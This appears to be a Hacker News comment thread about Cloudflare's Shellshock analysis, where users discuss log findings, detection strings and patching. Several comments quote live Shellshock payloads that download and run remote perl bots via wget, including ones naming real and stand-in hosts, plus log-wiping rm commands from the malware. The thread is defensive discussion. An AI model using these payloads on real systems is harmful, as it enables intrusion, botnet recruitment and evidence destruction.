9 ms·
Inside Shellshock: How hackers are using it to exploit systems
- yeahforbes 12y agoExcellent so far, although I've always thought of the entire interactive userland as the shell -- not only CLI, but also GUI, as each wraps the kernel on sort of the same plane.
- Anthony-G 12y agoThat would be my understanding as well, e.g. On Microsoft operating systems, the primary shell is Windows Explorer. Congrats to Cloudflare on this write-up. It’s interesting to have actual figures and a breakdown on how Shellshock is being exploited in the wild. Kudos for explaining the vulnerability in simple terms that a non-CLI user should be able to understand.
- acbart 12y agoSo I'm not very knowledgeable about WebSec stuff. Why aren't more servers getting pounded by this, if it's such a big vulnerability? I expected reports of massive password and SSN reveals all over, but I haven't heard of any major spills. Am I just not in the right circles, or is there a reason an outbreak hasn't occurred?
- yeahforbes 12y agoI would guess that for (m)any breaches that have occurred so far, the owner might not have even checked for evidence nor have the thieves bragged yet. Time will tell.
- jgrahamc 12y agoMy take is that what's happening right now is mass reconnaissance. Since the Shellshock problem will only occur on sites (or specific pages) where bash is invoked it's necessary to go round and figure out what's vulnerable. I'd guess that blackhats and whitehats are all out building those lists of vulnerable machines. They can then go back and exploit them en masse later.
- guylhem 12y agoWrong. See my post above, along with the perl script that's used. It's controlled over IRC channel #apache on chaos.legend.rocks by the "god","ARZ","Zax" users.
- meowface 12y agoI know you wrote this article, but I'm going to have to disagree with you. Many of the bots have payloads that look like "wget http://evil.com/script.pl http://evil.com/script.pl -O /tmp/script; perl /tmp/script; rm /tmp/script". There is no reason for them to do reconnaisance when they can have arbitrary code execution simultaneously. There aren't going to be that many popped servers because the number of Internet-facing web apps that use CGI + have bash as /bin/sh or call bash explicitly is not all that high, though it is still high enough to build a considerable botnet. The other issue is that they need to find a code path in a CGI app that calls out to bash, while many of the bots so far seem a bit naive in their crawling (excluding the ones targeting specific appliances and panels). A request to a hypothetical /cgi-bin/status.cgi may not do anything, but what they don't realize is that status.cgi?details=1 may call system("date") and then give them RCE.
- jgrahamc 12y agoUnderstood. I based the claim that it was mostly reconnaissance right now on the fact that 83% of all the requests we were seeing were reconnaissance and not dropping malware. But, I agree, there is a lot of malware being dropped as well.
- meowface 12y agoMy organization has mostly been seeing more reconnaissance than actual code execution as well. I suspect, or perhaps just hope, that this is because most of the current scanning is being done by white hats/gray hats. I suspect the people who actually want to infect machines aren't bothering with reconnaissance.
- aric 12y agoYou're not hearing about anything major because those who have major exploits aren't about to tell the world. Successful intrusion here means what it usually means: RATing any devices possible; patching those devices themselves; infecting the network when possible; staying quiet and gathering. Machines that were vulnerable and later fixed now should be considered with the same weight as having been rooted. They should be fully overhauled. That means new drives, even. Of course, we all know that'll never happen. The overwhelming majority of people and companies handle data recklessly.
- wmil 12y agoIt's a big deal because it's a major flaw in long established software. Many unix systems saw bash as safe enough to use as /bin/sh. The CGI-bash exploit leverages two of the oldest technologies on the web. However, CGI isn't common these days. I don't know any large sites still using it. So it's mostly going to hit older sites that work but aren't well maintained. Also a lot of embedded systems have CGI based web interfaces that could be vulnerable. It's not clear what the effect of that will be.
- vertex-four 12y agoAlso a fair amount of internal stuff - issue trackers, online expense forms, whatever else.
- meowface 12y agoThis is not actually a big problem for 99.9% of web apps out there. Only CGI web apps actually need to be concerned. Anything else is pretty much sensationalism. It absolutely is a problem for many other things, but non-CGI web apps is almost always not one of them.
- brians 12y agoSome FastCGI frameworks helpfully set up environment variables in the web app---you know, just in case you run a sub-process and want it to work the same way it would have from a CGI. See Per-Request Environment Variables at http://www.fastcgi.com/devkit/doc/fastcgi-prog-guide/ch1intro.htm http://www.fastcgi.com/devkit/doc/fastcgi-prog-guide/ch1intr... These aren't ubiquitous---but it also isn't just CGI programs that expose this vulnerability.
- bjnord 12y agoSearching for ":;" in my Apache logs, I'm definitely seeing some hits -- although the majority are security organizations doing wide scans to see how many systems are vulnerable.
- yeahforbes 12y agoI'm doing the same, and wondering to myself if that string is actually comprehensive. Are there variants, and if so can they be included as log search patterns without tons of false positives? I've got lots of wget commands in there like guylhem noted, attempting to either drop a script (and clean up) or phone home to normal random websites that were unfortunately compromised. The phone home requests have all sorts of URIs containing things from my hostnames to unique IDs.
- Gygash 12y ago`:;' is not the best string to use to identify shellshock exploit attempts, as the contents of the function are ignored and can change. Searching for `() {' _should_ (and I'm happy to be corrected here) find most attempts at exploiting, since that's the key sequence that triggers bash's "parse this environment variable as a function" behaviour.
- meowface 12y agoUpon researching this, "() {" will always catch this. If you look at the bash source code, the relevant parsing function checks if an environment variable begins with the literal 4-character string of "() {". That's why it's pretty easy to detect exploits: you can't do anything to evade a filter checking for this in an HTTP header. An HTTP server should not be doing any decoding of an HTTP header that could result in "() {" being obfuscated. This may not apply for attacks against things that aren't web apps, though.
- nitrogen 12y agoUpon researching this, "() {" will always catch this. Unless the input is decoded in some way before reaching an environment variable. E.g. HTML entities, hex escapes (percent or backslash), gzip, ... Best just to patch bash and switch to a different /bin/sh.
- guylhem 12y agoIt is in the wild. As seen on my machine, on a domain name that I use only for email at the moment: XXX.access.log:174.143.168.121 - - [30/Sep/2014:12:40:21 -0400] "GET //cgi-bin/bash HTTP/1.0" 404 168 "-" "() { :;}; /bin/bash -c \x22wget ellrich.com/legend.txt -O /tmp/.apache;killall -9 perl;perl /tmp/.apache;rm -rf /tmp/.apache\x22" The payload is a perl script, which I posted to http://pastebin.ca/2850380 http://pastebin.ca/2850380 I suggest the utmost caution. I am emailing the domain owner to warn about what is being done (as the most likely is this poor chap domain was exploited, since it shows a Plesk page) EDIT: email text (feel free to copy and paste if you see similar things in your logs) Dear XXX, I found your email as the contact for the domain YYYY. I noticed just a few minutes ago that your server was being used to try and attack my server, by spreading a program designed to take control of machines vulnerable to what is called the "shellshock bug" This malicious program has been hosted on a file publically accessible using http://XXXXX/legend.txt http://XXXXX/legend.txt I strongly recommand you get in touch with your administrator or whoever is maintaining your machine to let them know that. Just removing the file may not be enough, as your server must have been "infected" in some way for that to happen without you knowing. Sorry to be the bearer of bad news, but I believe I should let you know ASAP, as I would certainly appreciate being warned should the situation have been reversed :-( Sorry, Charles EDIT2: if you want to discuss the code, https://news.ycombinator.com/item?id=8392666 https://news.ycombinator.com/item?id=8392666
- meowface 12y ago"In the wild" is an understatement; at the current moment the scanning traffic is nearly worm-level (though this is not nearly as wormable as some of the classic worms of olde). Within about an hour of the first public disclosure, bots started scanning for it: some white hat, others not so much. Big websites are seeing scans from bots run by 50 or more different unrelated entities at the moment. It's really easy for just about anyone to hack together a quick script that scans for and exploits this vulnerability. This is not to fear monger though: for 99.9% of web applications out there, the scans will not find anything vulnerable to Shellshock. Unless you're running a CGI app, you generally won't have to worry from a web app perspective even if you are vulnerable. You may have to worry if you host a Git or SVN repo, or expose a mail daemon, etc. It's nice of you to inform the admin but unfortunately compromised servers running Plesk have been used to serve malware for many years now. You will find tens of thousands out there on the web, many probably abandoned and forgotten by their owners.
- skeoh 12y ago> (I've omitted the deeply technical explanations of why () { :; }; makes bash behave like this for the sake of clarity in this essay.) Can anybody point me to a good explanation of ShellShock's technical details?
- yeahforbes 12y agoIn bash, function definitions can be exported via environment variables; in handling that bash also executes whatever immediately follows the function definition; Apache sets environment variables (without sanitizing them for the above) based on incoming HTTP request headers which are controlled by end user clients. Because this functionality in bash predated Apache, it could be argued that Apache ought to perform sanitization before setting env vars from user input given that bash might execute it, but on the other hand bash's ability for data to be executed as code was pretty much undocumented and is now considered the bug. Wikipedia has a good explanation at http://en.wikipedia.org/wiki/Shellshock_(software_bug) http://en.wikipedia.org/wiki/Shellshock_(software_bug)
- TeMPOraL 12y ago> but on the other hand bash's ability for data to be executed as code was pretty much undocumented and is now considered the bug. From the article you linked: > Since Bash is both a command interpreter and a command, it is possible to execute Bash from within Bash. When this happens, the original instance can export environment variables and function definitions into the new instance.[16] Function definitions are exported by encoding them within the environment variable list as variables whose values begin with parentheses ("()") followed by a function definition. The new instance of Bash, upon starting, scans its environment variable list for values in this format and converts them back into internal functions. I had this strange feeling after reading this, that it's been long time since people worked with low-level code. It's like the difference between method dispatch in C++ and, say, Python. In the latter, it's magic, it works and you don't care. In the former, it's part of basic language knowledge to understand how virtual methods are implemented by a hack involving pointers to arrays of function pointers (aka. vtables).
- smtddr 12y ago118.192.48.6 - - [28/Sep/2014:20:30:22 +0000] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 404 767 "http://www.baidu.com" http://www.baidu.com" "() { :; }; echo X-Bash-Test: `echo iOGFtdnW7o`;" My app runs on bottlepy.org, so I assume I'm not at risk? I don't do any popen() stuff.
- barosl 12y agoEven if you use popen() or system() in your application, Debian/Ubuntu machines are not affected. These distributions don't use bash for /bin/sh. `dash`(Debian ash) is used instead. Good work, Debian!
- m4r71n 12y agoDepends on which Debian version you're running: "Up to DebianLenny, the default /bin/sh shell was bash. Starting with DebianSqueeze, the default shell will be dash (see DashAsBinSh)." [https://wiki.debian.org/Shell https://wiki.debian.org/Shell] I think the safest thing here is to update no matter what shell your system is using. There is a multitude of vectors on how to attack a vulnerable machine if it has Bash installed on it.
- nitrogen 12y agoDebian has lots of Bash scripts in /usr/bin. Make sure you aren't indirectly using any of them. Or just patch Bash.
- xorcist 12y agoYeah, that's an important point to stress: Whether you have been vulnerable to this bug or not is important -- for the decision to wipe and reinstall. It's not important for the decision to patch, which should be done everywhere possible.
- jdp23 12y agoI'm curious, has anybody reported seeing these signatures from before the bug was published?
- click170 12y agoI imagine a truly successful attack would involve clearing the logs of any footprints that we would be looking for. But worth checking anyway for those sloppy folks.
- segmondy 12y agoThat /^cleanlogs/ just made me cringe. Holy crap.
- yeahforbes 12y agoYeah, the entire script is horrifying. It's been a long time since I've seen malware source, especially targeting *nix.
- unfamiliar 12y agoI feel like there should be some way to verify that logs have not been tampered with. For example, including a checksum of the file up until that point on each line. Unfortunately they could just be rewritten after the log has changed. The only real solution I can see is a dedicated logging server, giving true write-only or append-only access.
- fragmede 12y ago> The only real solution I can see is a dedicated logging server, giving true write-only or append-only access. Yup. It's not that hard to setup, and while running it in a VM isn't as secure as can be, it's still a step in the right direction.
- eeZi 12y agosystemd's journal does this: https://lwn.net/Articles/512895/ https://lwn.net/Articles/512895/ But only every ~15 minutes or so.
- segmondy 12y agoAs far back as the 90's, I remember the log cleaners would only clean what they touched, so say utmp, read the structure and find all the time the user logged in and remove only this records. This one is wiping everything, you will know your logs have been tampered with, you won't have any logs. lol
- mturmon 12y agoYes, among other lines: system 'find / -name *.bash_history -exec rm -rf {} \;'; system 'find / -name "log*" -exec rm -rf {} \;'; system 'find / -name *.log -exec rm -rf {} \;'; Not very subtle.
- leoh 12y agoGreat article. I'm surprised there were no examples of fork bombs in the DOS section, though : ) http://en.m.wikipedia.org/wiki/Fork_bomb http://en.m.wikipedia.org/wiki/Fork_bomb
- d4mi3n 12y agoNot much point in killing a computer you've just unlocked for yourself. Much more profitable to use it as a spam node or launching platform for TCP/UDP/DNS DDOS attacks.
- cesarb 12y agoKilling the computer is an easy way to prevent other people from "using it as a spam node or launching platform". I can easily see some misguided gray hat forkbombing exploitable servers to prevent their use by blackhats. Which is why I, too, expected to see the classical bash fork bomb being used in these attacks. The DoS using "sleep 20", however, sounds like the kind of thing some people consider "harmless fun" (like the many people using LOIC some time ago); it takes the site down, but does no permanent damage and clears itself after a while.
- danielweber 12y agoLong ago writing testing exploits on a Solaris machine, I'd use the payload of "/sbin/eject" because it was very simple to see if the attack succeeded. No need to look through logs; just see the cup-holder open up obediently. So the opening really took me back.
- mturmon 12y agoThe simplicity of this one has made it entertaining to watch. It's easy to follow the storyline of probes, exploits, and patches. And everyone has bash, so we can play along at home. ;-)
- morgante 12y agoPerhaps someone could enlighten me, but even after reading this and several other articles about Shellshock I really don't understand why we should be so concerned. As I understand it, user input somehow has to make its way to a shell for Shellshock to matter. I honestly can't imagine why 99.9999% of websites would ever do that—even without Shellshock, it sounds horribly insecure and dangerous to let user input anywhere near a shell. Yes, I do know that cgi-bins are vulnerable, but is that surprising or concerning? I fully expect 1990s technology to be riddled with vulnerabilities. Heartbleed was scary because modern, highly secure websites were vulnerable. Is that even remotely the case with Shellshock?
- TeMPOraL 12y agoThe reason for concern is that it's fairly easy for user data to reach bash at some point. Any call to system() or popen() on a system that has /bin/bash as /bin/sh (people say it's quite common) will trigger ShellShock - and that includes all cases where PHP code under Apache does that. Also you don't have to actually reference malicious input anywhere; Apache will happily pass it for you.
- morgante 12y ago> Any call to system() or popen() on a system that has /bin/bash as /bin/sh (people say it's quite common) will trigger ShellShock But is that really very often? I've literally never felt good or safe with calling system() or popen() in a production web app, and I can't imagine it being a best practice. > Also you don't have to actually reference malicious input anywhere; Apache will happily pass it for you. Does that really include if the environment variables aren't referenced at all? Would "popen(ls)" by itself be enough to trigger Shellshock, even if the user input is never referenced?
- M4v3R 12y agoYes, it will, because: - Apache will create an environment variable for every HTTP header that you pass to it. So if you set the User-Agent header to "() {:;}; wget http://example.com/evil.pl http://example.com/evil.pl -O - | perl" Apache will set HTTP_USER_AGENT variable to that specific value - Any call to popen() will spawn a shell. If it is a bash shell (very common) it will scan all environment variables, and when it does find "() {:;}; ..." it just happily executes that because of the bug. So in reality only two things have to be true for this attack to be possible: - you have a vulnerable shell on your server (unpatched bash) - your backend code (let it be PHP or anything else, really) at some point spawns a shell to do some stuff (which isn't quite uncommon, many websites use some kind of processing of data they receive with external programs, or call sockets, or do other crazy stuff).
- pja 12y agoI'm seeing exploit attempts against some very rarely used cgi programs that I happen to have installed: Clearly there are people out there who have trawled the entirety of the open source archives looking for potentially exploitable cgi scripts and are directly targeting hosts where those scripts can be found. Presumably they're using Google or other search engines to obtain lists of potentially exploitable hosts for a given vulnerable cgi script. In this specific case, the exploit route is via the darcsweb.cgi python script which calls os.popen4() which in turn spawns /bin/sh. If /bin/sh had been bash it would have been all over for my server. This is not a cgi script in wide use (Debian popularity contest says that 22 people have installed it & registered with popcon!) yet it's still worth poking my server, which implies to me that this is an automated search of all the exploitable code they've found. There's no security in obscurity here...
- Someone1234 12y agoThey're likely Googling stuff like: "darcsweb filetype:cgi" Or just "filetype:cgi" Interestingly Bing is either blocking "filetype:cgi" or their filetype moniker just doesn't work very well (I am actually leaning more towards the latter after some additional testing). Ditto with DDG, their filetype: filter just doesn't work at all.
- hyyypr 12y agoShodan[1] does just this. I guess script kiddies all around the world are abusing it. [1]:http://shodanhq.com/search?q=cgi http://shodanhq.com/search?q=cgi
- hyyypr 12y agoCorrect me if I'm wrong, but it seems that on Debian (7 at least) /bin/sh is a symbolic link to /bin/dash. The issue is so wide spread because usually /bin/sh links to /bin/bash... I don't know if Debian and Ubuntu are the only *nixes using Dash instead of Bash.
- sophacles 12y agoI'm not sure they are even googling for exploitable hosts. It's much easier to just enumerate IP space from a few hosts scattered around.
- spindritf 12y agothese requests were coming from France (80%) Let me guess, OVH?
- aroch 12y agoOnline.net (ponytelecom.eu) seems to be the new favorite since OVH at least makes a vague attempt to prevent it.
- fragmede 12y agoIs anyone seeing any interesting payloads with this? Most of what I've seen are perl script CnC bots, with no actual binaries. The closest I've seen is a binary payload which was just for CnC with some hardcoded c2 IPs from China.
- mobiplayer 12y agoIs it not a common assumption to think attacker's are not using the User-Agent header to attack? It is logged by default in Apache and nginx as far as I know. Why wouldn't you mask your attacks using another header? Cookies anyone?
- ChuckMcM 12y ago"On Sunday, after studying the extent of the problem, and looking at logs of attacks stopped by our WAF, we decided to roll out protection for our Free plan customers as well." I am glad they made that call. Thanks Cloudflare.